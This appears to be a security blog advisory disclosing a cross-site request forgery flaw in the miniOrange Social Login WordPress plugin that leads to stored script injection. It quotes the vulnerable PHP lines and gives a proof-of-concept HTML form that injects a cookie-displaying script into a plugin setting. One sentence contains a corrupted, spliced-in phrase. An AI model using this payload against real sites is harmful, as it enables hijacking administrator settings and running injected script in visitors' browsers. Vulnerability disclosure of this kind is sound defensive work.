CSRF/Cross-Site Scripting (XSS) Vulnerability in Social Login, Social Sharing by miniOrange (WordPress Social Login (Facebook, Google, Twitter))
Three of the 1,000 most popular plugins in the WordPress Plugin Directory were closed on Saturday and all three contain vulnerabilities. With the plugin Social Login, Social Sharing by miniOrange (WordPress Social Login (Facebook, Google, Twitter)) what immediately stood out as we started doing a quick check of its security is that the code looks incredibly insecure, so the vulnerability we are disclosing may not be the most serious and certainly doesn’t look like it is the only one.
While our Plugin Security Checker flags the possibility of a reflected cross-site scripting (XSS) vulnerability, which in a quick glance seems to exist, that would take more time to look into than something else that we came across. When changing the plugin’s settings there is no check for a valid nonce, so an attacker could cause a logged in Administrator to change the settings without intending it, otherwise known as cross-site request forgery (CSRF). That cSocial Login, Social Sharing by miniOrangean be used to cause malicious JavaScript code to be shown on the plugin’s admin page (and possibly on frontend pages), which is cross-site scripting (XSS).
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since multiple previously full disclosed vulnerabilities were quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.
Details
The plugin registers the function miniorange_openid_save_settings() to run during admin_init, so when admin pages are loaded:
24 | add_action( 'admin_init', array( $this, 'miniorange_openid_save_settings' ) ); |
That function’s code is restricted to users with the “manage_options” capability, so Administrators:
629 630 631 | function miniorange_openid_save_settings(){ if ( current_user_can( 'manage_options' )){ |
With numerous settings, including the following one, a new value is set with user input without sanitization:
975 | update_option('mo_openid_login_widget_customize_text',$_POST['mo_openid_login_widget_customize_text'] ); |
That value is the output without being escaped on the plugin’s admin page as is shown with the proof of concept below. So malicious JavaScript code could be saved and output. Since Administrators normally have the “unfiltered_html” capability, they would normally be permitted to do that if they intended, but since there isn’t protection against CSRF, an attacker could cause them to change the settings without intending the intending to.
Proof of Concept
The following proof of concept will cause an alert box with the any available cookies to be shown when visiting the plugin’s admin page, /wp-admin/admin.php?page=mo_openid_settings.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin.php?page=mo_openid_settings" method="POST"> <input type="hidden" name="option" value="mo_openid_enable_apps" /> <input type="hidden" name="mo_openid_login_widget_customize_text" value='"><script>alert(document.cookie);</script>' /> <input type="submit" value="Submit" /> </form> </body> </html>